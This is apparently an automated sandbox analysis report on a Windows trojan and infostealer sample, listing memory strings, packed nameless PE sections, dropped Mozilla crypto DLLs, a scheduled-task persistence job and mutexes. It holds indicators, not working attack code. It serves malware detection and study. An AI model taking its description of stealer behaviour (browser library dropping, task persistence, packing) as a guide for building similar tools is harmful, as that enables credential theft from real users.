Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, random[1].exe.8.dr, 19a0b0f0ae.exe.8.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: file.exe, random[1].exe.8.dr, 19a0b0f0ae.exe.8.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: file.exe, random[1].exe.8.dr, 19a0b0f0ae.exe.8.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1863139205.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: IJJKKJJDAAAAAKFHJJDG.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	String found in binary or memory: https://support.mozilla.org
Source: BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.1829921422.0000000000708000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1707237367.0000000022FFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.1829921422.0000000000708000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: file.exe, 00000000.00000002.1829921422.0000000000708000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1707237367.0000000022FFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1829921422.0000000000708000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1833532825.0000000001B65000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1833532825.0000000001C69000.00000004.00000020.00020000.00000000.sdmp, IJJKKJJDAAAAAKFHJJDG.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1708069229.0000000001BBC000.00000004.00000020.00020000.00000000.sdmp, IECFHDBA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/MnxKMCoUrFw.exe
Source: BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/KMCoUrFw.exe
Source: file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/eBSMjrvqODB4H_bs2nbfsSfL7aN-SiX4Yyn3iFo5fv-Rsj0cGE-FFrP1uXNT7Y1VS
Source: BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1829921422.0000000000766000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: file.exe, 00000000.00000003.1776790040.000000002935E000.00000004.00000020.00020000.00000000.sdmp, BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1829921422.000000000080A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.1829921422.000000000080A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/KMCoUrFw.exe
Source: file.exe, 00000000.00000003.1776790040.000000002935E000.00000004.00000020.00020000.00000000.sdmp, BFHDHJKKJDHJJJJKEGHIDGDHDA.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

PE file contains section with special chars

Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name:
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name: .idata
Source: GCGCBAECFC.exe.0.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:

PE file has nameless sections

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:
Source: 19a0b0f0ae.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C61ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C65B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C65B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5FF280

Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F35A0	0_2_6C5F35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C605477	0_2_6C605477
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66545C	0_2_6C66545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66542B	0_2_6C66542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66AC00	0_2_6C66AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635C10	0_2_6C635C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C636CF0	0_2_6C636CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6064C0	0_2_6C6064C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D4D0	0_2_6C61D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD4E0	0_2_6C5FD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6534A0	0_2_6C6534A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C4A0	0_2_6C65C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606C80	0_2_6C606C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60FD00	0_2_6C60FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C620512	0_2_6C620512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61ED10	0_2_6C61ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6585F0	0_2_6C6585F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C630DD0	0_2_6C630DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666E63	0_2_6C666E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C614640	0_2_6C614640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642E4E	0_2_6C642E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC670	0_2_6C5FC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619E50	0_2_6C619E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C633E50	0_2_6C633E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C659E30	0_2_6C659E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C645600	0_2_6C645600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C637E10	0_2_6C637E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6676E3	0_2_6C6676E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60FEF0	0_2_6C60FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FBEF0	0_2_6C5FBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C654EA0	0_2_6C654EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65E680	0_2_6C65E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615E90	0_2_6C615E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C609F00	0_2_6C609F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C637710	0_2_6C637710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C626FF0	0_2_6C626FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FDFE0	0_2_6C5FDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6477A0	0_2_6C6477A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63F070	0_2_6C63F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618850	0_2_6C618850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D850	0_2_6C61D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B820	0_2_6C63B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C644820	0_2_6C644820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C607810	0_2_6C607810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61C0E0	0_2_6C61C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6358E0	0_2_6C6358E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6650C7	0_2_6C6650C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6260A0	0_2_6C6260A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D960	0_2_6C60D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B970	0_2_6C64B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66B170	0_2_6C66B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61A940	0_2_6C61A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62D9B0	0_2_6C62D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C635190	0_2_6C635190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652990	0_2_6C652990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC9A0	0_2_6C5FC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639A60	0_2_6C639A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C611AF0	0_2_6C611AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E2F0	0_2_6C63E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C638AC0	0_2_6C638AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624AA0	0_2_6C624AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60CAB0	0_2_6C60CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C662AB0	0_2_6C662AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66BA90	0_2_6C66BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F22A0	0_2_6C5F22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C370	0_2_6C60C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5340	0_2_6C5F5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6653C8	0_2_6C6653C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FF380	0_2_6C5FF380
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_0007E410	8_2_0007E410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_000B3048	8_2_000B3048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_00074CD0	8_2_00074CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_000A7D63	8_2_000A7D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_000B763B	8_2_000B763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_00074AD0	8_2_00074AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_000B6EE9	8_2_000B6EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_000B8700	8_2_000B8700
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_000B775B	8_2_000B775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 8_2_000B2BB0	8_2_000B2BB0
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0818	12_2_7F1F0818
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Code function: 12_2_7F1F0000	12_2_7F1F0000

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C62CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6394D0 appears 88 times

Source: file.exe, 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1833532825.0000000001C8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs file.exe
Source: file.exe, 00000000.00000002.1863683175.000000006C875000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: file.exe	Static PE information: Section: ZLIB complexity 0.99530029296875
Source: file.exe	Static PE information: Section: ZLIB complexity 0.98974609375
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983190317622951
Source: amadka[1].exe.0.dr	Static PE information: Section: kaaoivdf ZLIB complexity 0.9946707917156287
Source: GCGCBAECFC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983190317622951
Source: GCGCBAECFC.exe.0.dr	Static PE information: Section: kaaoivdf ZLIB complexity 0.9946707917156287
Source: explorti.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9983190317622951
Source: explorti.exe.6.dr	Static PE information: Section: kaaoivdf ZLIB complexity 0.9946707917156287
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.99530029296875
Source: random[1].exe.8.dr	Static PE information: Section: ZLIB complexity 0.98974609375
Source: 19a0b0f0ae.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9996427210365854
Source: 19a0b0f0ae.exe.8.dr	Static PE information: Section: ZLIB complexity 0.99530029296875
Source: 19a0b0f0ae.exe.8.dr	Static PE information: Section: ZLIB complexity 0.98974609375

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/29@0/3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C657030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C657030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1863090801.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1863090801.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1863090801.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1863090801.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1863090801.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
